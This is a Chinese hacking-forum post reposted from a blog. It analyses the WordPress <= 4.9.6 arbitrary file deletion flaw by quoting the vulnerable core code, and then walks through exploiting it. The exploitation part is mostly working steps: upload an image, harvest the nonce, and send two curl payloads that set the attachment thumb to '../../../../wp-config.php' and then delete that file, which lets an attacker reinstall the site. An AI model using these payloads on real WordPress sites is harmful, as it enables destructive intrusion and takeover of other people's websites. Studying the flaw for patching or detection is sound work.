跳转到帖子
  • 游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

    赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

    TheHackerWorld官方

Wordpress <= 4.9.6 任意文件删除漏洞


Ken1Ve

推荐的帖子

漏洞分析

1.文件wp-includes/post.php中:

function wp_delete_attachment( $post_id, $force_delete = false ) {
    
    $meta = wp_get_attachment_metadata( $post_id );
    
    if ( ! empty($meta['thumb']) ) {
        // Don't delete the thumb if another attachment uses it.
        if (! $wpdb->get_row( $wpdb->prepare( "SELECT meta_id FROM $wpdb->postmeta WHERE meta_key = '_wp_attachment_metadata' AND meta_value LIKE %s AND post_id <> %d", '%' . $wpdb->esc_like( $meta['thumb'] ) . '%', $post_id)) ) {
            $thumbfile = str_replace(basename($file), $meta['thumb'], $file);
            /** This filter is documented in wp-includes/functions.php */
            $thumbfile = apply_filters( 'wp_delete_file', $thumbfile );
            @ unlink( path_join($uploadpath['basedir'], $thumbfile) );
        }
    }
   
}

$meta['thumb']来自与数据库,是图片的属性之一。代码未检查$meta['thumb']的内容,直接带入unlink函数,如果$meta['thumb']可控则可导致文件删除。

2.文件/wp-admin/post.php中:

switch($action) {

    case 'editattachment':
        check_admin_referer('update-post_' . $post_id);
        
        // Update the thumbnail filename
        $newmeta = wp_get_attachment_metadata( $post_id, true );
        $newmeta['thumb'] = $_POST['thumb'];

        wp_update_attachment_metadata( $post_id, $newmeta );

$newmeta['thumb']来自于$_POST['thumb'],未经过滤直接将其存入数据库,即上一步的$meta['thumb']可控。

详细分析可见:WARNING: WordPress File Delete to Code Execution - https://blog.ripstech.com/2018/wordpress-file-delete-to-code-execution/
1865966246.png

漏洞利用

登录后台,添加媒体

访问 http://你的域名/wp-admin/upload.php, 上传任意图片.
1.png

将 $meta['thumb'] 设置为我们要删除的文件

3.1 点击第二步中我们上传的图片, 并记住图片ID.
2.png
3.2 访问 http://你的域名/wp-admin/post.php?post=4&action=edit. 在网页源代码中找到 _wpnonce.
3.png

发送Payload:

curl -v 'http://9c9b.vsplate.me/wp-admin/post.php?post=4' -H 'Cookie: ***' -d 'action=editattachment&_wpnonce=***&thumb=../../../../wp-config.php'

删除文件

4.1 在网页源码中找到另外一个 _wpnonce.
4.png

发送Payload:

curl -v 'http://9c9b.vsplate.me/wp-admin/post.php?post=4' -H 'Cookie: ***' -d 'action=delete&_wpnonce=***'

刷新网页

已经可以重装网站。
6.png


版权属于:逍遥子大表哥

本文链接:https://blog.bbskali.cn/364.html

按照知识共享署名-非商业性使用 4.0 国际协议进行许可,转载引用文章应遵循相同协议。

链接帖子
意见的链接
分享到其他网站

黑客攻防讨论组

黑客攻防讨论组

    You don't have permission to chat.
    • 最近浏览   0位会员

      • 没有会员查看此页面。
    ×
    ×
    • 创建新的...